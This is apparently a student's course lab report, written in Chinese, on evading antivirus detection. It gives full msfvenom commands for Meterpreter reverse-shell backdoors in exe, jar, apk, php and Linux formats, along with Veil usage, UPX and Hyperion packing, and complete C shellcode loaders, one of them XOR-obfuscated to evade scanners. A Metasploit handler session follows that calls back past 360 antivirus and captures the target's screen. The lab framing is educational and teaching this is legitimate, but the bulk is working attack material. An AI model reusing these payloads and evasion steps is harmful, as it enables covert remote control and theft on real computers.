【网络对抗技术】20181234 Exp3 免杀原理与实践

目录

一、实验目标

二、基础问题回答

三、实验过程

四、实践与体会

  1. 问题与解决

  2. 实践体会

五、开启杀软能绝对防止电脑中恶意代码吗?

一、实验目标

  1. 正确使用msf编码器,用msfvenom指令生成如jar之类的其他文件
  2. veil
  3. 加壳工具
  4. 使用C + shellcode编程
  5. 使用其他课堂未介绍方法
  6. 通过组合应用各种技术实现恶意代码免杀 (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
  7. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测
         杀毒软件的病毒库记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据已检测出或网络上公布的病毒,对其提取特征码,记录成病毒库,检测到程序时将程序与特征码比对即可判断是否是恶意代码。
  • 启发式恶意软件的检测
        将一个软件与杀毒软件记录过的恶意软件的行为、代码等等作比对,如果发现相似度达到某一值时,随即判定这个程序为恶意代码,有一定误报可能。
  • 基于行为的恶意软件检测
        在程序运行的状态下(动态)对其行为进行监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉。

(2)免杀是做什么?

  • 免杀技术全称为反杀毒技术,简称“免杀”,指的是一种能使病毒木马免于被杀毒软件查杀的技术。免杀的内容是使用一些技术手段对恶意软件做处理,如修改病毒、木马的内容改变特征码让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。

(3)免杀的基本方法有哪些?

  • 改变特征码
    • 只有EXE
      • 加壳(压缩壳 加密壳)
    • 有shellcode(像Meterpreter)
      • 利用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译
    • veil-evasion
    • 半手工
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
    • 非常规方法
      • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
      • 使用社工类攻击,诱骗目标关闭AV软件
      • 纯手工打造一个恶意软件

三、实验过程

1.正确使用msf编码器,用msfvenom指令生成如jar之类的其他文件

  • 正确使用msf编码器——使用 msfvenom -l encoders查看可以使用的编码器来生成不同的后门。

  • 对实验二生成的 20181234_backdoor.exe 后门程序用VirusTotal进行扫描。

  • 通过 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.81.129 LPORT=1234 -f exe > zyx_encoded.exe 命令生成一次编码的后门程序;参数 -b 用于去除结束符 '\x00' ; -p 用来定要使用的payload; -f  来指定payload的输出格式。

  • 使用VirusTotal对 zyx-encoded.exe 进行扫描。

  • 通过 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.81.129 LPORT=1234 -f exe > zyx_encoded10.exe 命令生成十次编码的后门程序;参数 -i  用于设置迭代次数。

  • 对生成的 zyx-encoded10.exe 后门程序,使用VirusTotal进行扫描。

 

同一次编码相比:略有起伏,没实质变化

 

  • 生成jar文件: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=1234 x> zyx_java.jar 

  • 使用VirusTotal检测结果

  • 生成jsp文件msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=1234 x> zyx_jsp.jsp 

  • 使用VirusTotal检测结果

  • 生成apk文件: msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.81.129 lport=1234 x> zyx_backdoor.apk 

  • 使用VirusTotal检测结果

  • 生成php文件: msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.81.129 lport=1234 x> zyx_backdoor.php 

  • 使用VirusTotal检测结果

 

  • 生成linux文件: msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.43.224 LPORT=1234 x> zyx_linux 

  • 使用VirusTotal检测结果

免杀率高达100%,网站上没有一款杀软杀出来这个后门,说明杀软厂商对Linux的恶意代码查杀力度还需要提高!

2.使用veil-evasion生成后门程序及检测

  • 下载前的准备:

apt-get install libncurses5*
apt-get install libavutil55*
apt-get install gcc-mingw-w64*
apt-get install wine32
git clone https://github.com/Veil-Framework/Veil
  • 安装: veil----->y或s 

 

这里我因为实在装不上veil就拷贝了同学的虚拟机做

  • 等待安装成功后,输入 use 1 ,进入Evasion工具:

  • 输入 list ,可用查看有哪些攻击载荷可用使用:

  • 输入命令 use 22 进入配置界面:

  • 设置ip地址和端口号:

set LHOST 192.168.1.165  //设置反弹连接IP,kali的IP地址
set LPORT 1234            //设置端口
options                    //查看

 

  • 输入 generate ,生成文件,接着输入你想要payload的名字: veil_c_1234 ,文件的保存地址是:/var/lib/veil/output/source/veil_c_1234.bat 

 

  • 使用VirusTotal检测结果

  • 生成.exe后门文件,输入命令 use c/meterpreter/rev_tcp.py 进入配置界面

  • 设置IP地址和端口号(同上面步骤一致)

  • 使用 generate 命令生成文件,接着输入生成的playload的名称 veil_cc_1234 ,保存路径为 /var/lib/veil/output/compiled/veil_cc_1234.exe 

  • 使用VirusTotal检测结果

  • 生成py文件: 输入命令 use python/meterpreter/rev_tcp.py 进入配置界面

  • 设置IP地址和端口号(同上面步骤一致)

  • 使用命令 generate 生成文件,接着输入生成的playload的名称:veil_p_1234 ,保存路径为: /var/lib/veil/output/source/veil_p_1234.py 

  • 使用VirusTotal检测结果

3.使用C+shellcde编程

  • 通过命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=1234 -f c 生成一段shellcode。

  • 命令行中通过 vim 1234.c 创建.c文件,将生产成的 buf [ ] 赋值到代码中。
unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"
"\x0c\x8b\x52\x14\x89\xe5\x8b\x72\x28\x31\xff\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x51\x81\x68\x02"
"\x00\x04\xd2\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main() 
{ 
    int (*func)() = (int(*)())buf; 
    func(); 
}
  • 通过 i686-w64-mingw32-g++ 1234.c -o 1234.exe  命令,将 .c 文件转化为可执行文件

  • 使用VirusTotal检测结果

4 加壳工具

  • 压缩壳UPX:给之前的生成的文件进行加壳操作,压缩壳upx进行加壳,指令为upx 1234.exe -o ke_1234.exe

  • 使用VirusTotal检测结果

  • 加密壳Hyperion
  • 安装Hyperion工具,并通过 locate 找到 hyperion.exe ,其路径为 /use/share/windows-resources/hyperion/ 

!!!!想用加密壳加密东西,执行命令时所在的路径必须得和hyperion.exe所在的保持一致命令才能有效执行。 所以在执行加密操作前,必须得在命令行中将之前的文件拷贝到同一目录下。

cp ke_1234.exe /usr/share/windows-resources/hyperion/
wine hyperion.exe -v ke_1234.exe mke_1234.exe
执行过程有三个阶段
-------------------------------
| Stage 1: Analyzing input file |
 -------------------------------

Opening ke_1234.exe
Successfully copied file to memory location: 0x231070
Found valid MZ signature
Found pointer to PE Header: 0x80
Found valid PE signature
Found 32 bit binary
Image base is 0x400000
Image size is 0x20000

 -------------------------------
| Stage 2: Generating ASM files |
 -------------------------------

Input file size + Checksum: 0xd9f1
Rounded up to a multiple of key size: 0xda00
INFILE_SIZE equ 0xda00
 written to /usr/share/windows-resources/hyperion/Src/Container/32/infile_size.inc
Generated checksum: 0x39caa0
Generated Encryption Key:  0x2 0x2 0x0 0x1 0x3 0x1
 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0
Written encrypted input file as FASM array to:
 /usr/share/windows-resources/hyperion/Src/Container/32/infile_array.inc
IMAGE_BASE equ 0x400000
 written to /usr/share/windows-resources/hyperion/Src/Container/32/image_base.inc
IMAGE_SIZE equ 0x20000
 written to /usr/share/windows-resources/hyperion/Src/Container/32/image_size.inc
REAL_KEY_SIZE equ 0x6
 written to /usr/share/windows-resources/hyperion/Src/Container/32/key_size.inc
REAL_KEY_RANGE equ 0x4
 written to /usr/share/windows-resources/hyperion/Src/Container/32/key_size.inc
include 'logfile_disable.asm'
 written to /usr/share/windows-resources/hyperion/Src/Container/32/logfile_select.asm
include '../../Payloads/Aes/32/aes.inc'
 written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm
include '../../Payloads/Aes/32/aes.asm'
 written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm
include '../../Payloads/Aes/32/decryptexecutable.asm'
 written to /usr/share/windows-resources/hyperion/Src/Container/32/decryption_payload.asm

 --------------------------------
| Stage 3: Generating Executable |
 --------------------------------

Starting FASM with the following parameters:
Commandline: /usr/share/windows-resources/hyperion/Fasm/FASM.EXE /usr/share/windows-resources/hyperion/Src/Container/32/main.asm mke_1234.exe
FASM Working Directory: Z:\usr\share\windows-resources\hyperion
flat assembler  version 1.71.54  (1310719 kilobytes memory)
7 passes, 0.3 seconds, 71680 bytes.

Done :-)

 

  • 使用VirusTotal检测结果

免杀效果和上压缩壳是一样的,并没有提升多少!

5.通过组合C+shellcode+逆序实现恶意代码免杀

  • 先使用语句生成一段shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=1234 -f c IP地址和端口号都是攻击方kali的,让被攻击方主动连接攻击方。

  • 在windows下生成一个 s-20181234.c 文件,并写入一下代码:
unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x8b\x48\x18\x50\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x51\x81\x68\x02"
"\x00\x04\xd2\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; 

int main()
{

    int i;

    for (i = 0; i < sizeof(buf); i++)
    {
        buf[i] ^= 0x01;
        printf("\\x%x",buf[i]);
    }
}
  • 把运行后生成的逆序复制下来

  • 在kali中输入指令 vi ke-s-20181234.c 编写生成的.c文件:
unsigned char buf[] ="\xfd\xe9\x8e\x1\x1\x1\x61
\x88\xe4\x30\xd3\x65\x8a\x53\x31\x8a\x53\xd\x8a
\x53\x15\x8a\x73\x29\x30\xfe\xe\xb6\x4b\x27\x30
\xc1\xad\x3d\x60\x7d\x3\x2d\x21\xc0\xce\xc\x0\xc6
\x48\x74\xee\x53\x56\x8a\x53\x11\x8a\x43\x3d\x0\xd1
\x8a\x41\x79\x84\xc1\x75\x4d\x0\xd1\x8a\x59\x21\x8a
\x49\x19\x51\x0\xd2\x84\xc8\x75\x3d\x30\xfe\x48\x8a
\x35\x8a\x0\xd7\x30\xc1\xad\xc0\xce\xc\x0\xc6\x39\xe1
\x74\xf5\x2\x7c\xf9\x3a\x7c\x25\x74\xe1\x59\x8a\x59
\x25\x0\xd2\x67\x8a\xd\x4a\x8a\x59\x1d\x0\xd2\x8a\x5
\x8a\x0\xd1\x88\x45\x25\x25\x5a\x5a\x60\x58\x5b\x50
\xfe\xe1\x59\x5e\x5b\x8a\x13\xe8\x81\xfe\xfe\xfe\x5c
\x69\x32\x33\x1\x1\x69\x76\x72\x33\x5e\x55\x69\x4d
\x76\x27\x6\x88\xe9\xfe\xd1\xb9\x91\x0\x1\x1\x28\xc5
\x55\x51\x69\x28\x81\x6a\x1\xfe\xd4\x6b\xb\x69\xc1\xa9
\x50\x80\x69\x3\x1\x5\xd3\x88\xe7\x51\x51\x51\x51\x41
\x51\x41\x51\x69\xeb\xe\xde\xe1\xfe\xd4\x96\x6b\x11\x57
\x56\x69\x98\xa4\x75\x60\xfe\xd4\x84\xc1\x75\xb\xfe\x4f
\x9\x74\xed\xe9\x66\x1\x1\x1\x6b\x1\x6b\x5\x57\x56\x69
\x3\xd8\xc9\x5e\xfe\xd4\x82\xf9\x1\x7f\x37\x8a\x37\x6b
\x41\x69\x1\x11\x1\x1\x57\x6b\x1\x69\x59\xa5\x52\xe4\xfe
\xd4\x92\x52\x6b\x1\x57\x52\x56\x69\x3\xd8\xc9\x5e\xfe
\xd4\x82\xf9\x1\x7c\x29\x59\x69\x1\x41\x1\x1\x6b\x1\x51
\x69\xa\x2e\xe\x31\xfe\xd4\x56\x69\x74\x6f\x4c\x60\xfe
\xd4\x5f\x5f\xfe\xd\x25\xe\x84\x71\xfe\xfe\xfe\xe8\x9a
\xfe\xfe\xfe\x0\xc2\x28\xc7\x74\xc0\xc2\xba\xf1\xb4\xa3
\x57\x6b\x1\x52\xfe\xd4\x1";
int main() {

    int i;
    for (i = 0; i < sizeof(buf); i++) {
        buf[i] ^= 0x01;
    }

    int (*func)() = (int(*)())buf;
    func();

}
  • 使用联想电脑管家对生成的后门程序ke-s-20181234.exe进行检测,结果没有被检测到。

 6.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 首先将kali转换为“桥接模式”,重新生成免杀软件。
  • 在自己的kali输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.1.165 lport=1234 -f raw -o 1234.raw 

  •  在然后在对方的电脑上输入 shellcode_launcher.exe -i 1234.raw 运行刚生成的文件(对方使用的是360杀毒,扫描后未发现风险

  •  在自己的电脑上依次输入:
msfconsole
use exploit/multi/handler         //监听设置payload set payload
set payload windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payload
set LHOST 192.168.1.165      //kali端的IP地址
set LPORT 1234    //与之前输入的端口号一致
exploit

 

成功实现回连!

  • 输入命令 dir 和 screenshot 进行测试,成功获取对方的信息和桌面截图

四、实践与体会

1-问题与解决

1)无法安装veil

为了装veil,我装了3天,试了各种各样的方法还是会报这个错。

这个问题至今没有解决,最后veil这部分的实验是拷贝了别人的虚拟机完成的。

2)veil无法生成后门文件

解决:在进入veil前先进入root模式,就可以正常生成文件了

3)exe文件提示由于找不到libgcc_s_dw2-1.dll,无法继续执行编码

在使用C语言调用shellcode生成文件后,放置到windows下会出现提示:

解决:在kali中输入命令 locate libgcc_s_dw2-1.dll //寻找该dll文件,然后将其放入与exe文件相同目录下,将 libgcc_s_dw2-1.dll  放入后,还会弹出另一个弹窗,用相同的方法解决即可。 

2-实践体会

这次实验比上次难度提升不少,使用的命令和工具也变多,同时在完成免杀实验时,杀毒软件也是比较重要的一环。经过这次实验,我发现加壳或加密壳,还有多次编码都没有明显提高免杀效果,可以看出现在的杀软公司确实在日益进步。当然有的步骤免杀成功,也为我们提了醒,要加强自己的安全意识,防范未知后门入驻电脑!

五、开启杀软能绝对防止电脑中恶意代码吗?

答:不能,以目前各个公司的科技水平,没有办法做到绝对防范,更何况恶意代码也是“实时更新”,想做到绝对防范是一件不可能的事。我们要做的就是提高自己的安全意识。

 

posted @ 2021-03-31 20:27  20181234  阅读(384)  评论(0)    收藏  举报